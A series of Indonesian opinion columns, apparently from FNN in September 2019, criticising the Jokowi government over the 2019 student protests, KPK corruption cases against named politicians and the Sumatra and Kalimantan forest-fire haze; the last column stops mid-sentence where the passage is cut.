Gerakan People Power Bersatu. Yakni kekuatan mahasiswa dari berbagai civitas akademika dan rakyat sipil bersatu. Gejala kepanikan yang sama muncul lagi sekarang. Inilah yang dinamakan Dejavu Reformasi. Hari Senin (23/9), Jokowi mengumpulkan sejumlah menteri, Panglima TNI, Kapolri dan jajaran Istana Merdeka, Jakarta. Kepala Staf Kepresidenan Moeldoko menyebut rapat ini akan membahas situasi terkini. Wajar kalau Jokowi panik karena aksi demonstrasi mahasiswa merebak di sejumlah daerah di Indonesia memprotes rencana pemerintahan Jokowi dan DPR yang mengesahkan sejumlah rancangan undang-undang. Demo digelar serentak di Riau, Bandung, Jakarta, Yogyakarta, Makassar, hingga Papua hari Senin (23/9). Di Yogyakarta, mahasiswa yang bergabung dengan pekerja, pelajar, dan aktivis masyarakat sipil menggelar demo di Pertigaan Gejayan. Demo bertajuk #GejayanMemanggil ini bahkan menjadi topik terpopuler Twitter di Indonesia. Semua elemen yang bergerak dalam aksi #GejayanMemanggil tergabung dalam Aliansi Rakyat Bergerak. Mereka mengusung tujuh tuntutan. Di antaranya mendesak RKUHP ditunda, revisi UU KPK yang baru disahkan, mengadili elite yang bertanggung jawab atas kerusakan lingkungan, dan menolak pasal-pasal bermasalah RUU Pertanahan dan RUU Ketenagakerjaan. Aksi mahasiswa pada Hari Senin itu, dilanjutkan kembali pada Selasa (24/9). Kali ini bukan hanya para mahasiswa tetapi juga diikuti unsur masyarakat sipil lainnya seperti kelompok tani dan kaum buruh. Gelombang aksi demonstrasi ini tidak bisa dibendung lagi karena dibawah rezim Jokowi ini, masyarakat makin merasakan berbagai penderitaan. Penderitaan masyarakat itu dimulai dari harga-harga kebutuhan pokok yang melonjak. Pemaksaan dalam pelaksanaan pembayaran iuran BPJS. Ada juga bencana asap di Sumatera dan Kalimantan yang berasal dari kebakaran hutan dan lahan (Karhutla) yang tidak bisa ditangani secara efektif. Selain itu, kerusuhan di Papua yang kerap meletus yang diakibatkan adanya diskriminasi. Pasca reformasi, peta politik-ekonomi negara justru didominasi oleh kaum borjuasi lokal. Melalui kartel politik dan oligarki parpol, elite politik telah membajak demokrasi. Salah satunya melalui pengendalian proses pembuatan kebijakan publik. Bahkan mereka masuk dan mengendalikan institusi demokrasi seperti partai politik dan media massa. Praktek oligarki parpol dan kartel politik ini juga berkontribusi pada perusakan lingkungan yang akhirnya menyebabkan kebakaran hutan dan lahan. Contoh lain dominasi oligarki parpol saat ini bisa dilihat dari berbagai kejadian akhir-akhir ini. Disahkannya UU KPK pada 17 September 2019 menjadi paradoks besar atas salah satu agenda reformasi untuk memberantas korupsi, kolusi, dan nepotisme (KKN). Selain itu, supremasi hukum sebagai salah satu agenda reformasi juga menemui jalan buntu. Banyaknya pasal yang mendapat kritik dari berbagai lapisan masyarakat seolah tidak menjadi bahan pertimbangan bagi legislatif (DPR). Pasal-pasal ini meliputi aturan mengenai makar, kehormatan presiden, Tindak Pidana Korupsi (Tipikor), hukum yang hidup di masyarakat, dan beberapa pasal yang mengatur ranah privat masyarakat. Tidak berhenti sampai sana. Saat ini juga muncul beberapa rancangan peraturan perundang-undangan yang terkesan hadir sebagai formalitas penyelesaian tugas legislatif. Hadirnya RUU Pertanahan dan RUU Ketenagakerjaan, misalnya, terkesan terlalu mendadak dan dipaksakan. Tahun 2019, reformasi tepat berumur 21 tahun. Sayangnya upaya perubahan bangsa kepada kemajuan justru menemui kemunduran telak akibat beragam kebijakan yang mengkorup agenda-agenda Reformasi. Beragam kebijakan Pemerintah dan DPR, semakin bertentangan dengan pokok-pokok reformasi sebagaimana diamanatkan dalam TAP MPR No.X Tahun 1998 tentang Pokok-Pokok Reformasi Pembangunan Dalam Penyelamatan dan Normalisasi Kehidupan Negara. Dalam konteks itu, para mahasiswa yang hari-hari ini turun ke jalan menilai pemerintah dan DPR tidak belajar dari beragam kesalahan yang dilakukan rezim Orde Baru. Pemerintah dan DPR justru membuai serangkaian kebijakan yang mendorong negara pada sistem pemerintahan yang korup, otoriter, dan menciptakan ekonomi yang eksploitatif. "Atas dasar itu, kami turun kejalan untuk menyampaikan beragam tuntutan yang menjadi keresahan bersama Rakyat Indonesia," kata seorang mahasiswa Yogyakarta dalam orasinya. TAP MPR No.X Tahun 1998 secara tegas menyatakan bahwa praktek-praktek korupsi, kolusi dan nepotisme merupakan masalah yang terjadi selama rezim era Orba. Oleh karena itu kemudian disiapkan sarana dan prasarana serta program aksi dan agenda reformasi bagi tumbuhnya suasana yang sehat dan bebas dari praktek KKN. Sebelumnya program dan agenda tersebut ada kemajuan melalui reformasi birokrasi, pengesahan UU Tipikor, dan pembentukan KPK. Sayangnya, pada 2019 beragam kemajuan yang telah diupayakan dalam pemberantasan KKN tersebut menghadapi pukulan besar. Beragam pembentukan regulasi dan kebijakan termasuk Revisi UU KPK, RUU KUHP, Undang-Undang Pemsyarakatan, dan pemilihan Pimpinan KPK yang bermasalah. Ini menunjukkan bahwa ancaman terhadap upaya pemberantasan KKN telah dilakukan secara sistematis melalui pelemahan kewenangan dan independensi KPK dalam memberantas KKN, pelemahan ancaman pidana, pelemahan sanksi terhadap koruptor, dan merusak KPK dengan pemilihan orang-orang bermasalah didalamnya. Saat ini NKRI dalam keadaan bahaya karena kebijakan Presiden dan DPR telah menghilangkan kepercayaan rakyatnya. Jika ketidakpercayaan masyarakat kepada pemerintah dan DPR terus berlanjut, dikhawatirkan akan munculnya gelombang civil disobedience yang massif. Para mahasiswa dan masyarakat sipil telah mengingatkan pemerintah dan DPR untuk tidak mengkorup reformasi dan tidak mengembalikan kultur rezim Orde Baru dalam penyusunan kebijakan. Sekali lagi saya mengingatkan, jika pemerintahan Jokowi dan DPR tidak merespon tuntutan para mahasiswa dengan tepat, Anda harus rela untuk lengser atau dilengserkan masyarakat. Wallahu a'lam. Penulis adalah Wartawan Senior

Tegasnya KPK, Koruptor Kubu Koalisi Juga Disikat!

Sebelum revisi UU KPK, menurut catatan peniliti ICW Kurnia Ramadhan, catatan lima tahun terakhir, setidaknya ada 23 anggota DPR RI masa bakti 2014-2019 telah ditetapkan sebagai tersangka oleh KPK.Bahkan Ketua DPR Setya Novanto bersama Wakil Ketua DPR Taufik Kurniwan, pun tidak luput dari jerat hukum KPK. Dari 23 kasus korupsi yang melibatkan anggota DPR, delapan diantaranya dari Partai Golkar. Oleh Mochamad Toha Jakarta, FNN - Siapa yang tidak kenal dengan Imam Nahrawi? Namanya mulai mencuat sejak menjadi Ketua DPW PKB Jawa Timur (Jatim). Jejak digital mencatat, Minggu (20/7/2008), bersama PKB kubu Muhaimin Iskandar, ia bersukaria atas kekalahan KH Abdurrahman Wahid. Mereka melakukan syukuran paska kemenangan kubu Imin setelah MA menolak kasasi PKB kubu Gus Dur itu. Ia mencukur gundul rambutnya. Ketika itu, Ketua Dewan Syuro, KH Azis Mansyur sendiri yang memotong rambut Imam. Itulah jejaknya. Setelah 11 tahun aksi gundul itu, Menpora Imam Nahrawi harus menjadi pesakinan dan telah ditetapkan KPK sebagai tersesangka. Imam diduga menerima gratifikasi senilai Rp 26,5 miliar dari KONI sebagai commitment fee pengurusan pencairan dana hibah Kemenpora. Kasus dugaan tipikor pemberian dana hibah KONI ini telah sampai pada penetapan Menpora Imam Nahrawi sebagai tersangka oleh KPK. Sebelum Imam, KPK telah menjerat lima orang tersangka kasus dana hibah tersebut. Mereka adalah Sekjen KONI Ending Fuad Hamidy, Bendahara Umum KONI Johnny E. Awuy. Selian itu, dua staf Kemenpora yakni Adhi Purnomo dan Eko Triyanto. Mantan Deputi IV Bidang Peningkatan Prestasi Olahraga Kemenpora, Mulyana juga jadi tersangka. Ending dan Johnny telah divonis bersalah oleh majelis hakim tipikor. Ending selaku Sekjen KONI dihukum dua tahun delapan bulan penjara. Sementara Johnny sebagai Bendahara Umum KONI divonis penjara satu tahun delapan bulan. Selain itu, Adhi Purnomo, Eko Triyanto, dan Mulyana juga baru saja menerima vonis majelis hakim di Pengadilan Tipikor Jakarta pada 12 September 2019 lalu. Ini merupakan bukti atas komitmen KPK dalam pemberantasan korupsi. Presiden Jokowi tidak ikut campur tangan terkait dengan mitra Parpol Koalisi yang terlibat kasus korupsi. Tanda-tanda Imam bakal menjadi tersangka seusai Sesmenpora Gatot Dewa Broto diperiksa dalam penyelidikan KPK, Jum’at (26/72019). Saat itu Gatot mengaku diperiksa KPK terkait pengelolaan anggaran di Kemenpora. “KPK ingin tahu tentang pola pengelolaan anggaran dan program sepanjang tahun 2014 sampai dengan 2018. Kenapa harus saya? Karena saya sebagai Sesmenpora,” kata Gatot. Alhasil, KPK mengungkapkan, Imam menerima suap dan gratifikasi sebesar Rp 26,5 miliar sepanjang pada 2014 hingga 2018. Isyarat penetapan tersangka kepada Imam sudah mulai tercium sejak KPK tiba-tiba menahan asisten pribadinya, Miftahul Ulum, Rabu (11/9/2019). Saat itu, penetapan tersangka pada Ulum belum diumumkan KPK. Sepekan setelah menahan Ulum, KPK pun akhirnya mengumumkan Ulum dan Imam sebagai tersangka. Imam merupakan menteri Kabinet Kerja jilid I pemerintahan Presiden Jokowi yang dijerat sebagai tersangka. Sebelumnya ada Menteri Sosial Idrus Marham yang dijerat dalam kasus suap PLTU Riau-1. Idrus divonis 5 tahun penjara oleh Pengadilan Tinggi DKI Jakarta. Idrus terbukti menerima suap Rp 2,250 miliar. Uang tersebut diberikan oleh pengusaha sekaligus salah satu pemegang saham Blackgold Natural Resources Limited, Johannes Budisutrisno Kotjo. Dalam kasus ini, Idrus terbukti menerima suap bersama-sama Wakil Ketua Komisi VII DPR Eni Maulani Saragih. Eni merupakan anggota Fraksi Partai Golkar. Baik Eni maupun Idrus adalah sama-sama “orang” Golkar. Imam Nahrawi dari PKB. Kedua parpol itu adalah mitra Parpol Koalisi Jokowi. Sebelumnya, KPK menetapkan Bupati Kotawaringin Timur Supian Hadi, yang juga kader PDIP sebagai tersangka dugaan korupsi dalam proses pemberian izin usaha pertambangan pada 3 perusahaan di lingkungan Pemkab Kotawaringin Timur. “KPK meningkatkan status penanganan perkara ke Penyidikan dan menetapkan SH sebagai tersangka,” ujar Wakil Ketua KPK Laode Muhammad Syarif dalam jumpa pers di Gedung KPK, Kuningan, Jakarta Selatan, seperti dilansir Merdeka.com, Jumat (1/2/2019). Diduga Supian Hadi selama periode 2010-2015 telah merugikan keuangan negara dalam pemberian Izin Usaha Pertambangan (IUP) kepada PT Fajar Mentaya Abadi), PT Billy Indonesia, dan PT. Aries Iron Mining di Kabupaten Kotawaringin Timur. Syarif menjelaskan, Supian saat diangkat menjadi Bupati Kotawaringin Timur periode 2010-2015, langsung mengangkat teman-teman dekatnya yang merupakan tim suksesnya sebagai petinggi di perusahaan-perusahaan itu. Diduga negara dirugikan sekitar Rp 5,8 triliun. Sebelum revisi UU KPK, menurut catatan peniliti ICW Kurnia Ramadhan, catatan lima tahun terakhir, setidaknya ada 23 anggota DPR RI masa bakti 2014-2019 telah ditetapkan sebagai tersangka oleh KPK.Bahkan Ketua DPR Setya Novanto bersama Wakil Ketua DPR Taufik Kurniwan, pun tidak luput dari jerat hukum KPK. Dari 23 kasus korupsi yang melibatkan anggota DPR, delapan diantaranya dari Partai Golkar. Partai berlambang pohon beringin ini penyumbang terbesar dalam kasus korupsi di Senayan. Selanjutnya, tiga PDIP, tiga Demokrat, tiga PAN, dua Hanura, dan masing-masing satu PKS, PKB, PPP, Nasdem. “Perkara yang sedang ditangani KPK banyak melibatkan anggota DPR,” kata Kurnia, seperti dilansir Tirto.id, Minggu, (15/9/2019). Publik tentu masih mengingat salah satu kasus mega korupsi e-KTP. Korupsi itu merupakan hasil kongkalikong banyak pihak; eksekutif, legislatif, maupun swasta. Persekongkolan jahat itu membuat duit negara sebesar Rp 2,3 triliun raib dalam proyek bernilai Rp5,9 triliun. Akibat mega korupsi itu, tiga politisi dijebloskan ke Lapas Sukamiskin; Miryam S. Haryani (Hanura), Markus Nari (Golkar), dan Setya Novanto (Golkar). Dalam pembacaan tuntutan Setnov pada Maret 2018, Jaksa KPK Eva Yustisia mengungkap, terdakwa (Setnov) bersama Djamal Azis, Chairuman Harahap, Markus Nari, dan Akbar Faisal (Anggota Komisi III) melakukan penekanan kepada Miryam agar mencabut BAP saat persidangan Irman dan Sugiharto. Dalam BAP itu, Miryam menjawab secara rinci aliran dana yang mengalir ke anggota DPR. Hal itu menyebabkan para politisi ketakutan. Bahkan, Setnov sempat menjamin Miryam tak akan dipenjara bila mencabut keterangannya tentang korupsi e-KTP. Bujukan Setnov itu akhirnya meyakinkan Miryam untuk mencabut BAP pada 23 Maret 2017. Selain itu, anggota Komisi III DPR yang tersangkut dalam kasus korupsi lainnya, Patrice Rio Capella. Mantan Sekjen Partai NasDem terkait penanganan kasus bansos di Kejaksaan Tinggi Sumut dan Kejaksaan Agung. Akibatnya Rio meringkuk di balik jeruji selama 1,6 tahun, lebih kecil dari tuntutan Jaksa 2 tahun. Rio dianggap terbukti menerima hadiah Rp 200 juta dari Gubernur nonaktif Sumut Gatot Pujo Nugroho (dari PKS) dan istrinya, Evy Susanti. Duit itu diserahkan untuk mengamankan kasus dugaan korupsi dana bansos di Kejaksaan Agung. Tak hanya Rio, anggota Komisi III lainnya yang tersangkut korupsi adalah I Putu Sudiartana dari Partai Demokrat dan mantan Ketum DPP PPP Muhammad Romahurmuziy alias Romy (kasusnya sudah masuk Pengadilan Tipikor Jakarta). I Putu Sudiartana, Wakil Bendahara Partai Demokrat periode 2015-2020, divonis 6 tahun penjara karena terbukti menerima suap dan gratifikasi Rp500 juta terkait rencana proyek pembangunan 12 ruas jalan di Sumatera Barat pada 2016. Sementara, mantan Ketua PPP Romy itu diduga terlibat dalam kasus jual-beli jabatan Kanwil Kemenag Jawa Timur dan Gresik. Kecuali Gatot Pujo Nugroho dan I Putu Sudiartana, para napi, terdakwa, dan tersangka adalah dari Parpol Koalisi Jokowi. Yakni: PDIP, Golkar, NasDem, Hanura, PKB, dan PPP. Jika melihat jejak digital, ada kader Parpol Koalisi Jokowi lain, seperti Mendag Enggarsiasto Lukito (NasDem), Menag Lukman Hakim Sarifuddin (PPP), dan Ketum PKB Muhaimin Iskandar, berpotensi menyusul. Ketegasan pimpinan KPK yang diketuai Agus Rahardjo dan Presiden Jokowi terkait dengan penanganan kasus korupsi yang tanpa pandang bulu itu tentunya patut diapresiasi. Dan, diharapkan pula, pimpinan KPK yang baru juga mengikuti jejaknya. Semoga saja sebelum pelantikan pimpinan KPK yang baru, Agus Rahardjo sudah mengeksekusi tiga nama terakhir yang disebut di atas tersebut. Bravo KPK! Penulis adalah Wartawan Senior

Cucu Pak Jokowi dan Cucu Pak Bakar Hutla

By Asyari Usman Jakarta, FNN - Alhamdulillah, cucu Pak Jokowi itu sangat beruntung punya cucu tersayang. Namanya, Jan Ethes. Tiga hari lalu, 21 September 2019. Pak Jokowi mentwitkan salah satu keberuntungan cucu kesayangan beliau itu. Begini bunyi twit Pak Jokowi lewat akun resmi beliau Joko Widodo @Jokowi: “Jalan-jalan pagi di sekitar Istana Bogor bersama Jan Ethes, melihat kuda, kambing, dan rusa merumput di pelataran. Ngomong-ngomong, Jan Ethes paling suka binatang apa?” Senang sekal, tentunya. Tidak ada asap di Istana Bogor. Udaranya ‘clear’ dan bersih. Langitnya selalu biru. Banyak pepohonan besar dan kecil. Dijaga ketat. Tidak ada yang berani bikin karhutla di situ. Tak perlu pakai masker seperti yang harus digunakan oleh para cucu Pak Bakar Hutla. Nama Pak Bakar Hutla diplesetkan orang menjadi pembakaran hutan dan lahan (karhutla) di Sumatera dan Kalimantan. Tapi, tidak apa-apa. Kita sebut saja cucu Pak Bakar Hutla sesuai plesetan itu, menjadi cucu Karhutla. Cucu Pak Jokowi memang selalu beruntung. Semua serba ada. Serba bagus dan serba sehat. Ada tim dokter kepresidenan kalau kesehatan Jan Ethes terganggu. Tak perlu pakai BPJS. Tidak seperti para cucu Karhutla. Kalau mereka sakit, tidak ada tim dokter kejelataan yang membantu. Tidak seenak Jan Ethes yang punya tim dokter kepresidenan. Di Istana Bogor banyak rusa yang sehat-sehat dan gemuk-gemuk. Ada kambing dan kuda. Luar biasa! Pasti sangat menghibur bagi Jan Ethes. Entah kapan para cucu Karhutla bisa menikmati langit biru dan udara segar seperti di Istana Bogor. Memang hebat! Tidak ada hewan piaraan Istana Bogor yang kepanasan. Tak seperti pengalaman satwa liar di hutan yang sedang terbakar di Sumatera dan Kalimantan. Di Istana Bogor, hewan-hewan terawat bagus. Sejuk di bawah pepohonan rindang. Tak pernah merasakan bara api. Jan Ethes pastilah belum pernah melihat binatang liar yang mati di tengah karhutla. Tapi, para cucu Karhutla sudah tahu berita ular piton besar yang terpanggang. Dan banyak lagi binatang yang gosong akibat karhutla. Istana Bogor memang sempurna. Sempurna untuk apa saja. Termasuk untuk memikirkan dan menyusun kebijakan yang bisa membuat orang jera melakukan karhutla. Tapi, Pak Bakar Hutla harus bersabar dan maklum. Kesempurnaan Istana Bogor pada saat ini masih digunakan untuk memikirkan dan menyusun kebijakan yang bisa membuat Jan Ethes selalu senang. Jadi, harap dipahami. Para cucu Karhutla masih bisa menunggu. Pada waktunya nanti, kesempurnaan Istana Bogor akan menjangkau karhutla. Sama-samalah kita maklumi. Pelan-pelan dan bertahap. Untuk saat ini, yang kecil-kecil dulu, termasuk Jan Ethes yang juga masih kecil. Belum waktunya memikirkan yang besar-besar. Mohon jangan ada komentar bahwa Istana Bogor belum mampu memikirkan yang besar-besar. Penulis adalah Wartawan Senior

Bukan Menggantang Asap, Tapi Menggantung Penyebab Asap

By Asyari Usman Ada pepatah lama dan orisinal Melayu yang berbunyi, “Bagaikan Menggantang Asap”. Makna peribahasa ini lebih kurang adalah pekerjaan sia-sia yang dilakukan di atas landasan pemikiran yang abnormal. Orang yang menggantang asap adalah manusia-manusia yang dikuasai oleh hayalan. Mereka adalah orang-orang yang tersisih dari pergelutan akal sehat. Note: gantang adalah alat ukur atau sukat yang berbentuk silinder, terbuat dari besi. Kalau pernah melihat liter yang biasa digunakan oleh pedagang eceran beras atau minyak tanah, gantang pun seperti itu. Cuma, volume atau isi gantang itu lima (5) liter. Mengapa menggantang asap sia-sia? Mengapa disebut hayalan? Pertama, tentu saja karena asap tak bisa digantang. Tidak bisa disukat. Kedua, karena asap tidak punya nalai nominal. Pekerjaan menggantang asap menggambarkan watak manusia yang tidak paham ‘konsep manfaat’. Dan manusia tak memiliki kemampuan untuk memikirkan ‘konsep manfaat’ itu. Dia juga tidak bisa membedakan ‘hayalan’ dan ‘realitas’. Karena itu, tidak mengherankan kalau Anda menemukan stetmen bahwa kondisi asap di Riau tidak separah yang diberitakan, dan bahwa langit Riau sudah biru. Stetmen ini adalah hayalan di tengah realitas. Mereka berhayal kondisi asap di Riau tidak parah, padahal masih sangat berat. Mereka berhayal langit Riau biru, padahal masih abu-abu pekat. Itulah salah satu contoh menggantang asap. Yaitu, membuat stetmen yang sia-sia. Mengeluarkan stetmen berdasarkan hayalan. Kalau begitu, bagaimana cara menggantang atau menyukat asap karhutla (pembakaran hutan dan lahan) di Riau dan Kalimantan agar tidak sia-sia? Jawabannya: jangan Anda berhayal mau menyukat atau menggantang asap karhutlanya. Yang perlu Anda sukat atau Anda gantang adalah penyebab hakiki asap karhutla itu. Penyebab hakiki asap itu bukan karhutla, melainkan pemilik dan pengelola hutla (hutan dan lahan). Mereka itulah yang sesungguhnya sumber asap karhutla yang sekarang membuat jutaan orang menderita. Para pemilik dan pengeola hutla itulah yang perlu Anda sukat. Mereka juga perlu Anda gantang. Dalam arti, Anda usut (sukat), terus Anda masukkan ke dalam gantang (dikurung dalam penjara). Jika setelah Anda usut (sukat) tapi tak cukup gantang (penjara) yang tersedia, mudah saja. Anda hanya perlu mengganti huruf ‘a’ kedua di dalam kata ‘gantang’ dengan huruf ‘u’. Sehingga, ‘gantang’ menjadi ‘gantung’.Jadi, para penyebab hakiki asap karhutla akan digantung. Tidak sekadar digantang. Dengan begini, penggantian huruf ‘a’ dengan huruf ‘u’ malah akan lebih efektif untuk mengubah makna ‘menggantang asap’ menjadi realitas yang realistis. Dan juga akan lebih setimpal dan berkeadilan. Sehingga, nantinya, pekerjaan menggantang asap dalam mengatasi asap karhutla, tidak lagi hayalan. Kita ubah menjadi pekerjaan yang nyata dan bermanfaat. Tidak lagi berhayal langit biru di tengah asap tebal. Tetapi langsung nyata menggantung para pelaku karhutla. Penulis adalah Wartawan Senior

Aktor Karhutla Masih Sama Dengan Yang Mengemplang BLBI

Pak Presiden, modus yang digunakan oleh pemilik lahan perkebunan ini sebenarnya serupa dan sebangun dengan praktik menggerogoti dana Bantuan Likuiditas Bank Indonesia (BLBI). Waktu dan tempatnya saja yang berbeda. Orangnya, kemungkinan tidak berbeda jauh dengan pelaku pengemplang BLBI Oleh Fuad Bawazier Menghadapi Kebakaran Hutan dan Lahan (Karhutla), presiden diiringi para petinggi negeri turun ke area kebakaran. Presiden Jokowi seperti biasanya, foto-foto di lokasi dan disebar ke media. Sayangnya maaf, rakyat tidak terkesan Pak Jokowi. Rakyat bosan dengan publikasi yang model beginian. Toh kebakaran seperti ini terus berlangsung. Negara juga harus mengeluarkan uang banyak untuk mengatasinya. Rakyat yang menderita dan menjadi korban. Kami baru akan terkesan bila kedatangan presiden mampu mengakhiri kebakaran. Bukan sekadar selfie Ria. Luar negeri diam-diam maupun terang-terangan mengeluh dan memaki pemerintah Indonesia. Mereka yakin bahwa kebakaran itu adalah ulah pemilik lahan . Diduga pemilik lahan dari kalangan pengusaha atau kerja sama “Peng-Peng”. Bahkan kabarnya ada pemiliknya sebagian besar dari Malaysia dan Singapore. Singkatnya, pemerintah kurang berdaya menghadapi para “Peng-Peng” ini. Dengan kejadian ini, luar negeri semakin mendapatkan landasan atau alasan kuat untuk mengembargo minyak goreng kelapa sawit. Karena itu tampaknya luar negeri akan meningkatkan tekanannya pada produk sawit dari Indonesia. Saya sendiri sebenarnya sedang mencari alternatif minyak goreng selain sawit. Upaya ini sebagai antisipasi kalau minyak goreng sawit tidak laku di dalam maupun di luar negeri. Mau tidak mau pemerintah dan pengusaha sawit akan lebih maksimal menggunakannya. Sebagai alternatif lain untuk sawit, khususnya Bahan Bakar Minyak (BBM). Triliunan dana yang terkumpul dari sawit, diharapkan bisa lebih transparan penggunaannya. Dengan begitu, semoga bisa bermanfaat bagi Indonesia. Dana puluhan triliun dari sawit juga bisa digunakan untuk ongkos pemadaman kebakaran hutan dan lahan sekarang ini terjadi. Jangan pakai dana dari APBN atau APBD yang lagi cekak untuk memadamkan kebakaran hutan dan lahan. APBN dan APBD itu uangnya rakyat. Dan sebagiannya dari utang pula. Tidak semua rakyat terlibat dalam pembakaran lahan dan hutan. Masa rakyat yang menjadi korban dan menderita, malah yang harus bayar ongkos pemadamannya. Jadi harus dari dana sawit puluhan triliun yang terkumpul. Kepolisian mengumumkan ratusan orang sudah ditetapkan sebagai tersangka pembakaran hutan dan lahan. Maaf, kami juga tidak terkesan meskipun ribuan yang dijadikan tersangka. Selama kebakaran dari tahun ke tahun seperti sekarang masih terus terjadi. Pengumuman penetapan ratusan tersangkan oleh polisi itu hanyalah “ritual tahunan setiap ada kebakaran hutan dan lahan”. Publik juga tahu bahwa yang ditangkap kebanyakan orang suruhan atau orang bayaran. Ingat bahwa satu tertangkap, ribuan yang siap menggantikan. Maklum, sekarang sedang banyak-banyak pengangguran. Kejaksaan Agung juga mengumumkan sekian ratus tersangkan pembakaran hutan dan lahan. Mereka akan segera diajukan ke pengadilan. Maaf, rakyat juga tidak terkesan. Karena kebakaran tetap berlangsung dari tahun ke tahun. Petinggi lain minta rakyat bersabar dengan musibah yang datang dari Allah SWT. Maaf, rakyat bukan saja tidak terkesan, tetapi malah sinis. Rakyat percaya bahwa di balik semua kebakaran hutan dan lahan ini kepentingan bisnis “Peng-Peng”. Pak Presiden, modus yang digunakan oleh pemilik lahan perkebunan ini sebenarnya serupa dan sebangun dengan praktik menggerogoti dana Bantuan Likuiditas Bank Indonesia (BLBI). Waktu dan tempatnya saja yang berbeda. Orangnya, kemungkinan tidak berbeda jauh dengan pelaku BLBI Mereka, para “Peng-Peng” pelaku BLBI, membakar industri perbankan. Mereka juga memperoleh keuntungan besar dari uang BLBI. Pemerintah memadamkan Krisis Moneter (Krismon) dengan menggunakan dana APBN. Pelakunya ketawa-ketiwi karena tidak terjamah oleh hukum. Mereka yang dihukum dari kejahatan BLBI hanya kroco-kroco sebagai simbol dan tumbal kecil saja. Tidak berbeda banyak dengan kejadian Karhutla sekarang. Jangan-jangan aktor intelektualnya, paling tidak sebagiannya masih sama dengan pelaku BLBI. Masih yang itu-itu juga. Hukum lumpuh dan takut menghadapi mereka yang berkekuatan finansial kuat. Mereka itu pelan-pelan berubah menjadi kekuatan politik di belakang layar. Konon mereka sekarang menjadi “sangat sakti” karena telah “banyak berjasa”. Entah jasa mereka itu apa? dan kepada siapa? Bapak Presiden Jokowi, penderitaan rakyat dari para bayi, dan anak sekolah. Bukan sampai disitu saja, sebab penderitaan itu sampai para orang tua. Selain itu, hewan serta lingkungan juga banyak binasa. Kerusakan itu sudah banyak dibahas dari kebakaran hutan dan lahan yang dahsyat ini. Media juga mengungkapkan bahwa pemerintah dan rakyat seakan tidak berdaya dan hanya bisa pasrah. Penguasanya tidak mampu bekerja, tetapi ingin tetap menjabat di pemerintahan. Tidak ada budaya malu karena gagal. Apalagi budaya mengundurkan diri. Sejak lama, sekurangnya sejak awal Bapak Jokowi menjabat presiden, saya sudah mengusulkan agar dibikin aturan bahwa semua hutan, lahan, ladang yang terbakar otomatis disita menjadi milik negara. Kalau regulasi ini yang diterapkan, maka insya Allah tidak akan ada kebakaran atau pembakaran lagi. Tidak akan ada lagi pemilik lahan yang menyuruh orang upahan untuk membakar hutan dan lahan. Para pemiliknya akan menjaganya baik-baik. Takut kalau terbakar nanti, bisa disita oleh negara. Aturan ini, bisa saja berbentuk Perpu ataupun Peraturan Pemerintah (PP). Pemerintah juga tidak perlu was-was atau membuang uang untuk pemadaman kebakaran hutan dan lahan karena ulah manusia. Namun saya sarankan, sejak awal aturan atau kebijakan yang tegas. Saya sendiri sudah menduga bahwa pemerintah tidak akan berani menjalankannya karena takut atau ewuh pakewuh dengan para Peng-Peng pemilik lahan. Padahal bila yang kebijakan tegas itu diberlakukan, maka dipastikan akan didukung penuh oleh rakyat. Biaya yang dikeluarkan pemerintah juga dipastikan sangat murah. Namun ceritanya menjadi lain bila kedaulatan pasar sudah diatas kedaulatan negara. Kini sudah waktunya negara membuat sikap yang keras dan tegas. Negara harus menetapkan semua lahan yang terbakar kembali menjadi milik negara. Semoga kali ini presiden bernyali menghadapi Peng-Peng. Amin amin amin Penulis adalah Pengamat Ekonomi dan Mantan Menteri Keuangan

Telur Busuk di Ujung Tanduk KPK

Publik sudah tahu bahwa status terangka dari KPK bukan perkara sepele. Lazimnya, status itu bakal berlanjut dengan pakaian seragam rompi oranye, lalu berakhir menginap di hotel prodeo. Dunia gelap telah menyambut. Oleh Dimas Huda Jakarta, FNN - Kendati dalam satu eraman, telur-telur itu tak selalu bisa menetas semua. Ada kalanya, di antara telur itu sebagian menjadi telur busuk. Begitu juga dalam sebuah organisasi. Tidak semua kader terlahir sebagai kader yang bisa diandalkan. Kadang kala lahir kader busuk. Itu pula yang dialami banyak organisasi massa Islam. Nahdlatul Ulama atau NU, misalnya. Organisasi terbesar di Indonesia ini banyak melahirkan rokoh-tokoh yang bisa diandalkan, tokoh-tokoh bangsa yang mengharumkan nama NU, bangsa, negara, dan tentu saja agama. Namun tak sedikit juga dari rahim NU lahir kader yang tidak bisa diharapkan. Di era kini, era kepemimpinan Joko Widodo, sejumlah kader NU --anak-anak muda NU-- berkesempatan di garda depan dalam kepemimpinan nasional. Mereka bertabur di banyak partai. Mereka hebat-hebat. Nah, dari yang hebat-hebat itu ada juga yang bermasalah. Tengok saja, pengumuman Komisi Pemberantasan Korupsi (KPK), Rabu (18/9). Kader NU yang juga kader Partai Kebangkitan Bangsa atau PKB, Imam Nahrawi, mendapat medali tersangka korupsi dari KPK. Menteri Pemuda dan Olahraga (Menpora) ini diduga menerima uang sebesar Rp26,5 miliar terkait dengan penyaluran bantuan dana hibah Kementerian Pemuda dan Olahraga kepada Komite Olahraga Nasional Indonesia (KONI) Tahun Anggaran 2018. Publik sudah tahu bahwa status terangka dari KPK bukan perkara sepele. Lazimnya, status itu bakal berlanjut dengan pakaian seragam rompi oranye, lalu berakhir menginap di hotel prodeo. Dunia gelap telah menyambut. Wakil Ketua KPK, Alexander Marwata, mengungkap bahwa selain menerima uang sebesar Rp14,7 miliar terkait dana hibah melalui asisten pribadinya Miftahul Ulum, Menpora Imam juga meminta uang sejumlah Rp11,8 miliar dalam rentang waktu 2016- 2018. "Total dugaan penerimaan Rp26,5 miliar merupakan commitment fee atas pengurusan proposal hibah yang diajukan oleh pihak KONI kepada Kemenpora," ujar Alexander, dalam konferensi pers, Rabu (18/9). Masuknya nama Imam dalam jeratan KPK harusnya tidak mengejutkan lagi. Soalnya, Imam sudah sering disebut dalam tiap sidang kasus duit KONI. Hal yang mengagetkan tentu, waktu penetapan itu. Waktu yang oleh Imam boleh jadi tak disangka-sangka. Seperti kita tahu, penetapan tersangka bagi Imam dilakukan KPK setelah disahkannya revisi UU KPK oleh DPR RI. Penetapan itu juga dilakukan pascapimpinan KPK menyerahkan mandat kepada Presiden Joko Widodo. Selanjutnya, ini adalah hal yang menyesakkan dada bagi Imam, keputusan itu dilakukan pada saat dirinya, juga pimpinan KPK, sudah berada di ujung kekuasaannya. Jabatan Menpora bagi Imam berakhir pada akhir bulan depan, sedangkan pimpinan KPK, termasuk Alexander, berakhir pada Desember tahun ini. Tiga Kali Mangkir Memang, nama Imam sudah jauh-jauh 